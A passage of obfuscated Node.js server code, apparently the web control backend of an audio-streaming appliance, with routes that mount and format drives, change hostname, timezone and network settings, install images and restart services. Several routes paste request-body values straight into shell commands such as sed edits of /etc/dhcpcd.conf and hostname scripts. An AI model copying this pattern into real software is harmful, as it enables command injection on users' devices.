first.',_0x1815fd);_0x3dfa41={},_0x1e864e&&_0x7c31db(0x34c)!==_0x1e864e||(_0x1e864e='MUSIC_'+randomInt(0x186a0)),config[_0x7c31db(0x37d)][_0x7c31db(0x28c)](_0x3dfa41);}_0x3dfa41[_0x7c31db(0x2c5)]=_0x8819cd,_0x3dfa41['uuid']=_0x1ed8b8,_0x3dfa41[_0x7c31db(0x2c3)]=_0x1e864e,fs[_0x7c31db(0x3a2)](_0x7c31db(0x580),JSON['stringify'](config,null,'	')),_0x643efd&&'/'!=_0x643efd?0x0!=_0x643efd[_0x7c31db(0x44a)]('/')&&(_0x643efd='/'+_0x643efd):_0x643efd='';var _0x5694bf=_0x7c31db(0x56e)+_0x3dfa41[_0x7c31db(0x2c3)]+_0x643efd;addPath2Library(_0x5694bf,_0x3dfa41[_0x7c31db(0x2c3)],_0x1815fd,function(){var _0x298334=_0x7c31db;respHandlers[_0x298334(0x1fe)]('Success! Path: "'+_0x5694bf+_0x298334(0x325),_0x1815fd);});}},'/addPath2Library':{'post':function(_0x4a0cd7,_0x2c1f44){var _0x42f153=_0x2db473,_0x4c383d=_0x4a0cd7['body'][_0x42f153(0x445)];addPath2Library(_0x4c383d,_0x4c383d[_0x42f153(0x4b9)](/\//)[0x2],_0x2c1f44,function(){var _0x3b7ff1=_0x42f153;respHandlers[_0x3b7ff1(0x1fe)](_0x3b7ff1(0x434)+_0x4c383d+_0x3b7ff1(0x325),_0x2c1f44);});}},'/formatAndMount':{'post':function(_0x371672,_0x3b371e){var _0x40c71e=_0x2db473;utils[_0x40c71e(0x45a)](_0x371672[_0x40c71e(0x29c)]);var _0x4e7bf=_0x371672[_0x40c71e(0x29c)][_0x40c71e(0x2c5)],_0x231976=_0x371672['body'][_0x40c71e(0x3c6)],_0xd018e9=_0x371672[_0x40c71e(0x29c)][_0x40c71e(0x548)];_0x40c71e(0x27c)==_0xd018e9&&(_0xd018e9=_0x40c71e(0x3f1));var _0x1a7648,_0x30ce8b=_0x371672[_0x40c71e(0x29c)][_0x40c71e(0x4af)];_0x30ce8b&&(_0x1a7648=findInArray(config[_0x40c71e(0x37d)],'uuid',_0x30ce8b)),_0x1a7648||(_0x1a7648=findInArray(config[_0x40c71e(0x37d)],'name',_0xd018e9)),_0x1a7648||(_0x1a7648={},_0xd018e9&&'undefined'!==_0xd018e9||(_0xd018e9=_0x40c71e(0x207)+randomInt(0x186a0)),config[_0x40c71e(0x37d)][_0x40c71e(0x28c)](_0x1a7648)),_0x1a7648[_0x40c71e(0x2c5)]=_0x4e7bf,_0x1a7648[_0x40c71e(0x4af)]=_0x30ce8b,_0x1a7648[_0x40c71e(0x3c6)]=_0x231976,_0x1a7648['name']=_0xd018e9,_0x1a7648[_0x40c71e(0x412)]=!0x1,mpdUtils[_0x40c71e(0x497)](_0x1a7648,function(_0x51a2bf){var _0xf51dfc=_0x40c71e;_0x51a2bf||(_0x51a2bf=_0xf51dfc(0x217)+_0x4e7bf+_0xf51dfc(0x35d),shell[_0xf51dfc(0x513)](_0xf51dfc(0x492)+_0x1a7648[_0xf51dfc(0x2c5)]+_0xf51dfc(0x3e3),function(_0x1269aa,_0x263309){var _0x4433ea=_0xf51dfc,_0x565f6a=_0x263309[_0x4433ea(0x303)]()[_0x4433ea(0x5b5)]()[_0x4433ea(0x4b9)](/\n/)[0x0];_0x1a7648['uuid']=_0x565f6a,fs[_0x4433ea(0x3a2)]('./config.json',JSON[_0x4433ea(0x2e9)](config,null,'	'));})),utils[_0xf51dfc(0x45a)](_0x51a2bf),respHandlers[_0xf51dfc(0x1fe)](_0x51a2bf,_0x3b371e);});}},'/justMount':{'post':function(_0x25f75a,_0x278927){var _0x2b89fc=_0x2db473;utils['log'](_0x25f75a['body']);var _0x4ba9f9,_0xae4a5c=_0x25f75a[_0x2b89fc(0x29c)]['device'],_0x36419d=_0x25f75a[_0x2b89fc(0x29c)][_0x2b89fc(0x4af)],_0x33d6e1=_0x25f75a[_0x2b89fc(0x29c)][_0x2b89fc(0x548)];if(_0x2b89fc(0x27c)==_0x33d6e1&&(_0x33d6e1='MUSIC'),_0x36419d&&(_0x4ba9f9=findInArray(config[_0x2b89fc(0x37d)],_0x2b89fc(0x4af),_0x36419d)),_0x4ba9f9||(_0x4ba9f9=findInArray(config[_0x2b89fc(0x37d)],_0x2b89fc(0x2c3),_0x33d6e1)),!_0x4ba9f9){if(!(_0x33d6e1&&_0x2b89fc(0x34c)!==_0x33d6e1||_0x36419d&&'undefined'!==_0x36419d))return void respHandlers['handleSimpleResponse'](_0x2b89fc(0x2b3),_0x278927);_0x4ba9f9={},_0x33d6e1&&_0x2b89fc(0x34c)!==_0x33d6e1||(_0x33d6e1=_0x2b89fc(0x207)+randomInt(0x186a0)),config[_0x2b89fc(0x37d)]['push'](_0x4ba9f9);}_0x4ba9f9[_0x2b89fc(0x2c5)]=_0xae4a5c,_0x4ba9f9[_0x2b89fc(0x4af)]=_0x36419d,_0x4ba9f9[_0x2b89fc(0x2c3)]=_0x33d6e1,_0x4ba9f9[_0x2b89fc(0x412)]=!0x1,mpdUtils[_0x2b89fc(0x231)](_0x4ba9f9,function(_0x140eb7){var _0x4b26de=_0x2b89fc;_0x140eb7||(_0x140eb7=_0x4b26de(0x217)+_0xae4a5c+_0x4b26de(0x296),shell['exec'](_0x4b26de(0x492)+_0xae4a5c+' | awk '{print $2}'',function(_0x32dbd2,_0x44aed4){var _0x451e56=_0x4b26de,_0x132327=_0x44aed4[_0x451e56(0x303)]()[_0x451e56(0x5b5)]()[_0x451e56(0x4b9)](/\n/)[0x0];_0x4ba9f9[_0x451e56(0x4af)]=_0x132327,fs['writeFileSync'](_0x451e56(0x580),JSON[_0x451e56(0x2e9)](config,null,'	'));})),utils[_0x4b26de(0x45a)](_0x140eb7),respHandlers[_0x4b26de(0x1fe)](_0x140eb7,_0x278927);});}},'/saveConfigAndRestart':{'post':function(_0x2fe3f7,_0x4a4df4){var _0x9b88c3=_0x2db473,_0x1ca198=_0x2fe3f7[_0x9b88c3(0x29c)][_0x9b88c3(0x563)];utils[_0x9b88c3(0x45a)](_0x1ca198),utils[_0x9b88c3(0x45a)]('Config changed!'),changeAndAdd(_0x1ca198,config),fs[_0x9b88c3(0x3a2)]('./config.json',JSON['stringify'](config,null,'	')),respHandlers[_0x9b88c3(0x1fe)]('Web application will now restart. Wait several seconds until browser reloads the page...',_0x4a4df4),setTimeout(function(){var _0x25bf21=_0x9b88c3;shell[_0x25bf21(0x513)](_0x25bf21(0x483),{'async':!0x0});},0x3e8);}},'/naa-devices':{'get':function(_0x13d142,_0x2ca1f0){var _0x441754=_0x2db473;shell[_0x441754(0x513)](_0x441754(0x253),function(_0x48cffd,_0x595da8){var _0x1140f7=_0x441754;respHandlers[_0x1140f7(0x1fe)](_0x595da8[_0x1140f7(0x303)]()[_0x1140f7(0x5b5)]()[_0x1140f7(0x4b9)](/\n/),_0x2ca1f0);});}},'/change_audio_field':{'post':function(_0x347cac,_0x84c30a){var _0x5216b6=_0x2db473,_0x2e2fb6=_0x347cac['body'][_0x5216b6(0x378)],_0xe62a15=_0x347cac[_0x5216b6(0x29c)]['id'],_0x568e28=_0x347cac['body'][_0x5216b6(0x4a1)];if(_0xe62a15){var _0x1c9b13=config[_0x5216b6(0x318)][_0x5216b6(0x366)][_0xe62a15];_0x1c9b13[_0x2e2fb6]=_0x568e28,utils['getCurrentAudioDevice'](config)['id']==_0xe62a15&&(_0x5216b6(0x403)==_0x2e2fb6?client[_0x5216b6(0x2e4)]()[_0x5216b6(0x5b9)](_0x1c9b13):_0x5216b6(0x254)==_0x2e2fb6?client[_0x5216b6(0x2e4)]()[_0x5216b6(0x4db)](_0x1c9b13,!0x1):_0x5216b6(0x51a)==_0x2e2fb6?client['getPlayEngine']()[_0x5216b6(0x274)](_0x1c9b13[_0x5216b6(0x51a)],function(){}):_0x5216b6(0x358)==_0x2e2fb6?client[_0x5216b6(0x2e4)]()[_0x5216b6(0x4fe)](_0x1c9b13[_0x5216b6(0x358)],function(){}):_0x2e2fb6[_0x5216b6(0x45d)](_0x5216b6(0x4f4))&&client[_0x5216b6(0x51b)](_0x2e2fb6,_0x568e28,function(){})),_0x5216b6(0x4f6)!=_0x1c9b13[_0x5216b6(0x50d)]&&client['getPlayEngine']()[_0x5216b6(0x3bd)](_0xe62a15,_0x2e2fb6,_0x568e28);}else _0x2e2fb6[_0x5216b6(0x45d)](_0x5216b6(0x4f4))?(config[_0x5216b6(0x318)][_0x5216b6(0x4f4)][_0x2e2fb6]=_0x568e28,_0x5216b6(0x360)==_0x2e2fb6&&(_0x5216b6(0x21f)==_0x568e28?(config[_0x5216b6(0x318)]['hqpd']['hqpd_dop']='1',config[_0x5216b6(0x318)][_0x5216b6(0x4f4)][_0x5216b6(0x365)]='1',config[_0x5216b6(0x318)][_0x5216b6(0x4f4)][_0x5216b6(0x3fb)]=_0x5216b6(0x257)):(config[_0x5216b6(0x318)][_0x5216b6(0x4f4)]['hqpd_dop']='0',config['audio'][_0x5216b6(0x4f4)][_0x5216b6(0x365)]='0',config[_0x5216b6(0x318)][_0x5216b6(0x4f4)][_0x5216b6(0x3fb)]=_0x568e28)),client['setHQPDField'](_0x2e2fb6,_0x568e28,function(){})):config['audio'][_0x2e2fb6]=_0x568e28;fs[_0x5216b6(0x3a2)](_0x5216b6(0x580),JSON[_0x5216b6(0x2e9)](config,null,'	')),respHandlers[_0x5216b6(0x1fe)](_0x5216b6(0x5c7),_0x84c30a);}},'/saveMPDHOSTFallbackIp':{'post':function(_0x4a334d,_0xdaedcb){var _0x4ccbfe=_0x2db473,_0x3d49b3=_0x4a334d[_0x4ccbfe(0x29c)][_0x4ccbfe(0x495)],_0x412d2=_0x4a334d[_0x4ccbfe(0x29c)][_0x4ccbfe(0x4e8)],_0x4b929d=_0x4a334d[_0x4ccbfe(0x29c)][_0x4ccbfe(0x5c2)];if(_0x3d49b3!=config['mpdhost'][_0x4ccbfe(0x495)]||_0x412d2!=config[_0x4ccbfe(0x368)][_0x4ccbfe(0x4e8)]){utils['log'](_0x4ccbfe(0x4bb)),respHandlers[_0x4ccbfe(0x1fe)](_0x4ccbfe(0x375),_0xdaedcb);var _0x1fc47d=_0x4ccbfe(0x3d0);if(_0x3d49b3!=config[_0x4ccbfe(0x368)][_0x4ccbfe(0x495)]){var _0x3a93fd=config[_0x4ccbfe(0x368)][_0x4ccbfe(0x495)],_0x4960ef=_0x3d49b3;config['mpdhost']['fallback_ip']=_0x3d49b3,_0x1fc47d+='; sed -i "s/'+_0x3a93fd+'/'+_0x4960ef+'/g" /etc/dhcpcd.conf';}_0x412d2!=config[_0x4ccbfe(0x368)]['fallback_router_ip']&&(_0x3a93fd=config[_0x4ccbfe(0x368)][_0x4ccbfe(0x4e8)],_0x4960ef=_0x412d2,(config[_0x4ccbfe(0x368)][_0x4ccbfe(0x4e8)]=_0x412d2,_0x1fc47d+=_0x4ccbfe(0x3df)+_0x3a93fd+'/'+_0x4960ef+_0x4ccbfe(0x3c1))),(_0x4ccbfe(0x297)===_0x4b929d||0x1==_0x4b929d||!![]==_0x4b929d)&&(config['mpdhost'][_0x4ccbfe(0x5c2)]=_0x4b929d,_0x1fc47d+=_0x4ccbfe(0x3c9)),0x1==config[_0x4ccbfe(0x4fa)]&&shell['exec'](_0x4ccbfe(0x202),{'async':!0x0}),shell['exec'](_0x1fc47d,function(_0x20080a,_0x3a73cd){var _0x3e7897=_0x4ccbfe;_0x3e7897(0x3a9)!==config['audio_system']&&_0x3e7897(0x55d)!==config[_0x3e7897(0x3aa)]&&shell[_0x3e7897(0x513)]('/root/ro.sh',{'async':!0x0});}),fs[_0x4ccbfe(0x3a2)](_0x4ccbfe(0x580),JSON[_0x4ccbfe(0x2e9)](config,null,'	'));}else respHandlers['handleSimpleResponse'](_0x4ccbfe(0x53c),_0xdaedcb);}},'/saveMPDHOSTConfig':{'post':function(_0x4a7c2b,_0x1f8997){var _0x524b0e=_0x2db473,_0x49e372=_0x4a7c2b[_0x524b0e(0x29c)][_0x524b0e(0x33c)];utils[_0x524b0e(0x45a)](_0x49e372),_0x49e372!==config['mpdhost'][_0x524b0e(0x33c)]?(utils[_0x524b0e(0x45a)](_0x524b0e(0x4bb)),config[_0x524b0e(0x368)][_0x524b0e(0x33c)]=_0x49e372,fs[_0x524b0e(0x3a2)](_0x524b0e(0x580),JSON['stringify'](config,null,'	')),respHandlers[_0x524b0e(0x1fe)](_0x524b0e(0x315),_0x1f8997),shell[_0x524b0e(0x513)]('./changeHostname.sh '+config[_0x524b0e(0x368)][_0x524b0e(0x33c)],function(_0x21da0c,_0x28fffa){var _0x55d9ff=_0x524b0e;0x1==config[_0x55d9ff(0x4fa)]?shell[_0x55d9ff(0x513)]('./restore_root.sh > /data/.appdata/restore_root.log',function(_0x4f0a79,_0x1b24a4){var _0x30f50d=_0x55d9ff;shell['exec'](_0x30f50d(0x5d3),{'async':!0x0});}):shell[_0x55d9ff(0x513)]('reboot &',{'async':!0x0});})):respHandlers[_0x524b0e(0x1fe)](_0x524b0e(0x53c),_0x1f8997);}},'/changeTimezone':{'post':function(_0x556015,_0x387430){var _0xda2043=_0x2db473,_0x3c3a6f=_0x556015[_0xda2043(0x29c)][_0xda2043(0x524)];utils[_0xda2043(0x45a)]('changeTimezone: '+_0x3c3a6f),config[_0xda2043(0x368)][_0xda2043(0x524)]!==_0x3c3a6f?shell['exec'](_0xda2043(0x2ad)+_0x3c3a6f,function(_0x47fac0,_0x65da1c){var _0x514a1a=_0xda2043;if(_0x65da1c){var _0x266c09=_0x65da1c[_0x514a1a(0x303)]()['trim']()[_0x514a1a(0x4b9)](/\n/);_0x266c09[_0x514a1a(0x5c4)]>0x1?respHandlers[_0x514a1a(0x1fe)](_0x514a1a(0x463)+_0x266c09[_0x514a1a(0x303)]()+_0x514a1a(0x5cf),_0x387430):shell[_0x514a1a(0x513)]('/root/rw.sh; timedatectl set-timezone '+_0x266c09[0x0],function(_0x176a4e,_0x3ace32){var _0x1e58c3=_0x514a1a;0x0==_0x176a4e?(config[_0x1e58c3(0x368)][_0x1e58c3(0x524)]=_0x266c09[0x0],fs[_0x1e58c3(0x3a2)](_0x1e58c3(0x580),JSON[_0x1e58c3(0x2e9)](config,null,'	')),respHandlers['handleSimpleResponse'](_0x1e58c3(0x255)+_0x266c09[0x0],_0x387430),0x1==config['ramroot_state']&&shell[_0x1e58c3(0x513)]('./restore_root.sh >> /data/.appdata/restore_root.log',{'async':!0x0})):respHandlers[_0x1e58c3(0x1fe)](_0x1e58c3(0x554)+_0x266c09[0x0]+_0x1e58c3(0x2ef)+_0x3ace32[_0x1e58c3(0x303)]()['trim'](),_0x387430),_0x1e58c3(0x3a9)!==config[_0x1e58c3(0x3aa)]&&'roonbridge'!==config[_0x1e58c3(0x3aa)]&&shell[_0x1e58c3(0x513)]('/root/ro.sh',{'async':!0x0});});}else respHandlers[_0x514a1a(0x1fe)](_0x514a1a(0x2a6)+_0x3c3a6f,_0x387430);}):respHandlers['handleSimpleResponse'](_0xda2043(0x53c),_0x387430);}},'/change_audio_system':{'post':function(_0x456f27,_0x48a49e){var _0x52179c=_0x2db473,_0x24d1fe=_0x456f27['body'][_0x52179c(0x3aa)],_0x339393=_0x456f27['body'][_0x52179c(0x2d8)];utils[_0x52179c(0x45a)](_0x52179c(0x390)+_0x24d1fe),utils['log'](_0x52179c(0x50a)+_0x339393),config[_0x52179c(0x3aa)]!==_0x24d1fe||config[_0x52179c(0x2d8)]!==_0x339393?(old_audio_system=config[_0x52179c(0x3aa)],old_roonmode=config[_0x52179c(0x2d8)],config[_0x52179c(0x3aa)]=_0x24d1fe,config[_0x52179c(0x2d8)]=_0x339393,utils[_0x52179c(0x45a)]('Config changed!'),_0x52179c(0x4cf)==_0x24d1fe&&(config[_0x52179c(0x318)][_0x52179c(0x4f4)][_0x52179c(0x275)]=_0x52179c(0x3b2)==_0x339393),fs[_0x52179c(0x3a2)](_0x52179c(0x580),JSON[_0x52179c(0x2e9)](config,null,'	')),_0x24d1fe=utils[_0x52179c(0x2f0)](_0x24d1fe,_0x339393),old_audio_system=utils['getName4AudioSystem'](old_audio_system,old_roonmode),respHandlers[_0x52179c(0x1fe)](_0x52179c(0x2ba)+old_audio_system+_0x52179c(0x394)+_0x24d1fe+_0x52179c(0x33e),_0x48a49e),setTimeout(function(){var _0x221515=_0x52179c;shell[_0x221515(0x513)](_0x221515(0x4b2),{'async':!0x0});},0x3e8)):respHandlers[_0x52179c(0x1fe)](_0x52179c(0x312),_0x48a49e);}},'/is_euphony/:device':{'get':function(_0x21e28f,_0x2c30f5){var _0x262caf=_0x2db473,_0x2e71f6=_0x21e28f[_0x262caf(0x515)][_0x262caf(0x2c5)],_0x1d954b=!0x1;mpdUtils[_0x262caf(0x42f)](_0x262caf(0x336),'KNAME,LABEL',_0x2e71f6,function(_0x555be0){var _0x5394ef=_0x262caf;_0x555be0[_0x5394ef(0x5c4)]>=0x4&&_0x5394ef(0x21e)===_0x555be0[0x2]['label']&&(_0x5394ef(0x21e)===_0x555be0[0x3][_0x5394ef(0x548)]||_0x5394ef(0x57b)===_0x555be0[0x3]['label'])&&(_0x1d954b=!0x0),respHandlers['sendAsJson']({'is_euphony':_0x1d954b},_0x2c30f5);});}},'/install':{'post':function(_0xcaff98,_0x59c46c){var _0x23ada8=_0x2db473;if(config['regtype']){var _0x285646=_0x23ada8(0x3f9)+_0xcaff98['body'][_0x23ada8(0x2c5)],_0x2dc220=_0xcaff98[_0x23ada8(0x29c)][_0x23ada8(0x1fb)];utils[_0x23ada8(0x45a)](_0x23ada8(0x1e7)+_0x285646);var _0x17e985,_0x119838=_0x23ada8(0x201),_0x10d0eb=_0x23ada8(0x2d1);if(_0x2dc220?(_0x119838=_0x23ada8(0x2cb),_0x10d0eb=_0x23ada8(0x284)):(client['emitMessage'](_0x23ada8(0x555),_0x23ada8(0x30b)),client[_0x23ada8(0x2e0)](0x0,function(_0x2063d3){var _0x24e279=_0x23ada8;client['emitMessage'](_0x24e279(0x555),'progress-report:'+_0x2063d3);})),shell[_0x23ada8(0x447)]('-e',_0x23ada8(0x2bd)))_0x17e985='/backup/euphony';else{if(!shell[_0x23ada8(0x447)]('-e','/service/backup/euphony.pcl.gz'))return result=_0x23ada8(0x3d2),void respHandlers[_0x23ada8(0x1fe)](result,_0x59c46c);_0x17e985=_0x23ada8(0x456);}shell['exec'](_0x119838+_0x285646+' '+_0x17e985+_0x23ada8(0x485),function(_0x12b4c7,_0x1c0628){var _0x422cf1=_0x23ada8;client[_0x422cf1(0x2da)](),client['emitMessage']('message','update-progress:Restoring SYSTEM partition...'),client['reportProgressStart'](0x0,function(_0x517cfd){var _0x2cdcd8=_0x422cf1;client[_0x2cdcd8(0x32b)](_0x2cdcd8(0x555),'progress-report:'+_0x517cfd);}),shell[_0x422cf1(0x513)]('./install_euphony2.sh '+_0x285646+' '+_0x17e985+_0x422cf1(0x3ee),function(_0x5c5d5e,_0x138062){var _0x3469d4=_0x422cf1;client[_0x3469d4(0x2da)](),client['emitMessage']('message','update-progress:Restoring SERVICE partition...'),client[_0x3469d4(0x2e0)](0x0,function(_0x20f073){var _0x4c8a53=_0x3469d4;client[_0x4c8a53(0x32b)]('message',_0x4c8a53(0x550)+_0x20f073);}),shell[_0x3469d4(0x513)](_0x3469d4(0x2a7)+_0x285646+' '+_0x17e985+_0x3469d4(0x321),function(_0x196f68,_0x2fc2ed){var _0x2bbca2=_0x3469d4;client[_0x2bbca2(0x2da)](),client[_0x2bbca2(0x32b)]('message',_0x2bbca2(0x5d1)),shell[_0x2bbca2(0x513)](_0x10d0eb+_0x285646+' '+_0x17e985+_0x2bbca2(0x433),function(_0x483ed7,_0x5c2b63){var _0x1067fc=_0x2bbca2;client['emitMessage'](_0x1067fc(0x555),_0x1067fc(0x525));});});});}),result=_0x23ada8(0x39e),respHandlers[_0x23ada8(0x1fe)](result,_0x59c46c);}else ur(_0xcaff98);}},'/complete':{'post':function(_0x12c87c,_0x4c44f7){var _0x58ccae=_0x2db473;if(config[_0x58ccae(0x3fa)]){var _0x354f49=_0x58ccae(0x3f9)+shell[_0x58ccae(0x513)](_0x58ccae(0x31b))['output']['trim']();utils[_0x58ccae(0x45a)](_0x58ccae(0x52c)+_0x354f49),client[_0x58ccae(0x32b)](_0x58ccae(0x555),'update-progress:Formating & restoring SERVICE partition...'),client[_0x58ccae(0x2e0)](0x0,function(_0x4e6661){var _0x3cbdef=_0x58ccae;client[_0x3cbdef(0x32b)](_0x3cbdef(0x555),_0x3cbdef(0x550)+_0x4e6661);}),shell[_0x58ccae(0x513)](_0x58ccae(0x22c)+_0x354f49+_0x58ccae(0x21d),function(_0x471dc6,_0x4349d1){var _0x496afd=_0x58ccae;client[_0x496afd(0x2da)](),config[_0x496afd(0x386)]=!0x1;var _0x10e105=_0x496afd(0x3f9)+shell[_0x496afd(0x513)]('lsblk -o KNAME,MOUNTPOINT,LABEL | grep '/service ' | awk '{print $1}'')[_0x496afd(0x2e5)][_0x496afd(0x5b5)]();shell['exec'](_0x496afd(0x542)+_0x10e105),shell['exec'](_0x496afd(0x215)),shell['exec'](_0x496afd(0x28b)+_0x354f49+_0x496afd(0x453)),client['emitMessage'](_0x496afd(0x555),'update-progress:COMPLETE! Reboot in 5 seconds...'),setTimeout(function(){var _0x5b66d4=_0x496afd;shell[_0x5b66d4(0x513)](_0x5b66d4(0x5d3),{'async':!0x0});},0x1388);}),result=_0x58ccae(0x39e),respHandlers[_0x58ccae(0x1fe)](result,_0x4c44f7);}else ur(_0x12c87c);}},'/revert-to-previous-release':{'post':function(_0x3ce9de,_0xfaa2a6){var _0x5f554d=_0x2db473;respHandlers[_0x5f554d(0x1fe)]('Changed boot partition. Reboot started..',_0xfaa2a6);var _0x2813dd=_0x5f554d(0x3f9)+shell[_0x5f554d(0x513)]('./bootdisk.sh')[_0x5f554d(0x2e5)][_0x5f554d(0x5b5)](),_0x3ac236=_0x5f554d(0x3f9)+shell['exec'](_0x5f554d(0x4b6))['output'][_0x5f554d(0x5b5)]();shell[_0x5f554d(0x513)]('./copy_config_to_service_drive.sh '+_0x3ac236),shell[_0x5f554d(0x513)](_0x5f554d(0x371)),shell[_0x5f554d(0x513)](_0x5f554d(0x28b)+_0x2813dd+_0x5f554d(0x453)),setTimeout(function(){var _0x5b7eb1=_0x5f554d;shell[_0x5b7eb1(0x513)](_0x5b7eb1(0x5d3),{'async':!0x0});},0x7d0);}},'/updateloon':{},'/partialupdateloon':{},'/go-to-sleep':{'post':function(_0x2b57d4,_0x282c8e){var _0xfa18f3=_0x2db473;utils[_0xfa18f3(0x45a)](_0xfa18f3(0x574)+new Date()['getTime']()),shell['exec'](_0xfa18f3(0x1f9),function(_0x32f9b2,_0x10fc21){var _0x27190f=_0xfa18f3;utils[_0x27190f(0x45a)](_0x27190f(0x1ea)+new Date()[_0x27190f(0x2fb)]()),setTimeout(function(){var _0x161709=_0x27190f;client[_0x161709(0x32b)](_0x161709(0x555),_0x161709(0x534)),_0x161709(0x3a9)!=config['audio_system']&&_0x161709(0x55d)!=config[_0x161709(0x3aa)]&&remountRO(0x0);},0x1770);}),client['emitMessage'](_0xfa18f3(0x555),'standby'),_0x282c8e[_0xfa18f3(0x3ff)](0xc8,{'Content-Type':_0xfa18f3(0x4ca)}),_0x282c8e[_0xfa18f3(0x288)]('OK'),_0x282c8e[_0xfa18f3(0x20c)]();}},'/shutdown':{'post':function(_0x3ec77f,_0x2d9a19){var _0x12ac31=_0x2db473;if(utils[_0x12ac31(0x45a)](_0x12ac31(0x481)),respHandlers['handleSimpleResponse'](_0x12ac31(0x3a6)+config[_0x12ac31(0x368)][_0x12ac31(0x33c)],_0x2d9a19),client[_0x12ac31(0x36b)](),setTimeout(shell[_0x12ac31(0x513)],0x3e8,_0x12ac31(0x558)),_0x3ec77f['body']['other_ip']){var _0x4c386d={'hostname':_0x3ec77f[_0x12ac31(0x29c)][_0x12ac31(0x42e)],'path':'/shutdown'};utils['httppost'](_0x4c386d,{},function(_0x3daaaf){var _0x29089c=_0x12ac31;_0x3daaaf&&utils[_0x29089c(0x45a)](_0x3daaaf);});}}},'/reboot':{'post':function(_0x18e5a9,_0x2657bc){var _0x1d8a40=_0x2db473;utils['log'](_0x1d8a40(0x4c1)),respHandlers['handleSimpleResponse'](_0x1d8a40(0x314),_0x2657bc),client[_0x1d8a40(0x36b)](),setTimeout(function(){var _0xfd3b93=_0x1d8a40;shell[_0xfd3b93(0x513)](_0xfd3b93(0x5d3),{'async':!0x0});},0x3e8);}},'/toggle-bridge':{'post':function(_0x214f9e,_0x2ca9d8){var _0x5dc269=_0x2db473;utils[_0x5dc269(0x45a)]('Toggle bridging!'),('no'==config['bridge']?config[_0x5dc269(0x585)]=_0x5dc269(0x32d):config[_0x5dc269(0x585)]='no',fs['writeFileSync']('./config.json',JSON[_0x5dc269(0x2e9)](config,null,'	')));var _0x5ce8dc=_0x5dc269(0x411)+config[_0x5dc269(0x585)];respHandlers[_0x5dc269(0x1fe)]('System will now restart. Wait a minute or two....',_0x2ca9d8),setTimeout(function(){shell['exec'](_0x5ce8dc+'; reboot &',{'async':!0x0});},0x3e8);}},'/restart-node':{'post':function(_0x41fc35,_0x2ccac6){var _0x8c4496=_0x2db473;utils['log'](_0x8c4496(0x311)),respHandlers['handleSimpleResponse'](_0x8c4496(0x1ff),_0x2ccac6),setTimeout(function(){shell['exec']('/srv/node/mpdweb/start_e.sh  &',{'async':!0x0});},0x3e8);}},'/restart-roonserver':{'post':function(_0x226eec,_0x52c3e2){var _0xb47081=_0x2db473,_0x567f0c=_0x226eec[_0xb47081(0x29c)]['roonmode'];_0x567f0c&&(config[_0xb47081(0x2d8)]=_0x567f0c,fs[_0xb47081(0x3a2)](_0xb47081(0x580),JSON['stringify'](config,null,'	'))),utils[_0xb47081(0x45a)]('Restart roonserver!');var _0x4c9e79='';config[_0xb47081(0x2d8)]&&_0xb47081(0x1ef)!=config[_0xb47081(0x2d8)]?_0xb47081(0x306)===config['roonmode']?_0x4c9e79='Roon -D & HQPlayer':_0xb47081(0x5ba)===config[_0xb47081(0x2d8)]?_0x4c9e79=_0xb47081(0x4bc):_0xb47081(0x29d)===config[_0xb47081(0x2d8)]?_0x4c9e79=_0xb47081(0x593):utils['log'](_0xb47081(0x49f)+config['roonmode']+config['audio_system']):_0x4c9e79=_0xb47081(0x270),respHandlers[_0xb47081(0x1fe)](_0xb47081(0x46f)+_0x4c9e79+_0xb47081(0x50c),_0x52c3e2),setTimeout(function(){var _0x48d5f3=_0xb47081;shell[_0x48d5f3(0x513)](_0x48d5f3(0x4b2),{'async':!0x0});},0x3e8);}},'/restart-roonbridge':{'post':function(_0x5f5c8c,_0x54a62c){var _0x3f322d=_0x2db473;utils[_0x3f322d(0x45a)](_0x3f322d(0x367)),respHandlers[_0x3f322d(0x1fe)]('Roon Bridge will be restarted. Check your client in 5-10 seconds...',_0x54a62c),setTimeout(function(){var _0x2a21d4=_0x3f322d;shell['exec'](_0x2a21d4(0x4a6),{'async':!0x0}),client['setRTP']();},0x3e8);}},'/restart-stylus':{'post':function(_0x2744a9,_0x5c0598){var _0x18eb27=_0x2db473;utils[_0x18eb27(0x45a)]('Restart Stylus!'),respHandlers[_0x18eb27(0x1fe)]('Stylus will be restarted.',_0x5c0598),client['getPlayEngine']()[_0x18eb27(0x435)]();}},'/restart-stylus-endpoint':{'post':function(_0x415c76,_0x4f6cc1){var _0x315e5a=_0x2db473;utils[_0x315e5a(0x45a)](_0x315e5a(0x5b3)),respHandlers['handleSimpleResponse'](_0x315e5a(0x586),_0x4f6cc1),client['getPlayEngine']()[_0x315e5a(0x435)]();}},'/restart-squeezelite':{'post':function(_0x45a958,_0x124a8e){var _0x17c775=_0x2db473;utils[_0x17c775(0x45a)](_0x17c775(0x424)),respHandlers['handleSimpleResponse'](_0x17c775(0x305),_0x124a8e),setTimeout(function(){var _0x1c437f=_0x17c775;shell[_0x1c437f(0x513)](_0x1c437f(0x3a5)+config[_0x1c437f(0x56b)]+' &',{'async':!0x0}),client[_0x1c437f(0x26f)]();},0x3e8);}},'/restart-networkaudio':{'post':function(_0x1b4407,_0x341e64){var _0x35bdea=_0x2db473;utils['log'](_0x35bdea(0x300)),respHandlers[_0x35bdea(0x1fe)](_0x35bdea(0x53b),_0x341e64),setTimeout(function(){var _0x37832a=_0x35bdea;shell['exec'](_0x37832a(0x516),{'async':!0x0}),client[_0x37832a(0x26f)]();},0x3e8);}},'/restart-airplay':{'post':function(_0x538dcf,_0x1cffc4){var _0x4ddff7=_0x2db473;utils[_0x4ddff7(0x45a)](_0x4ddff7(0x238)),respHandlers['handleSimpleResponse'](_0x4ddff7(0x426),_0x1cffc4),setTimeout(function(){shell['exec']('systemctl stop shairport-sync; sleep 1; systemctl start shairport-sync &',{'async':!0x0}),client['setRTP']();},0x3e8);}},'/restart-hqpd':{'post':function(_0x5c5745,_0x31133b){var _0x35bf68=_0x2db473;utils[_0x35bf68(0x45a)]('Restart HQPD!'),respHandlers[_0x35bf68(0x1fe)]('HQPlayer will be restarted. Check your client in 5-10 seconds...',_0x31133b),setTimeout(function(){var _0x1e2307=_0x35bf68;hqpd['restartHQPD'](function(){},!0x0),client[_0x1e2307(0x26f)]();},0x3e8);}},'/change-tags':{'post':function(_0x1e636c,_0x42a1cb){var _0x364203=_0x2db473;utils[_0x364203(0x45a)](_0x364203(0x4c9));var 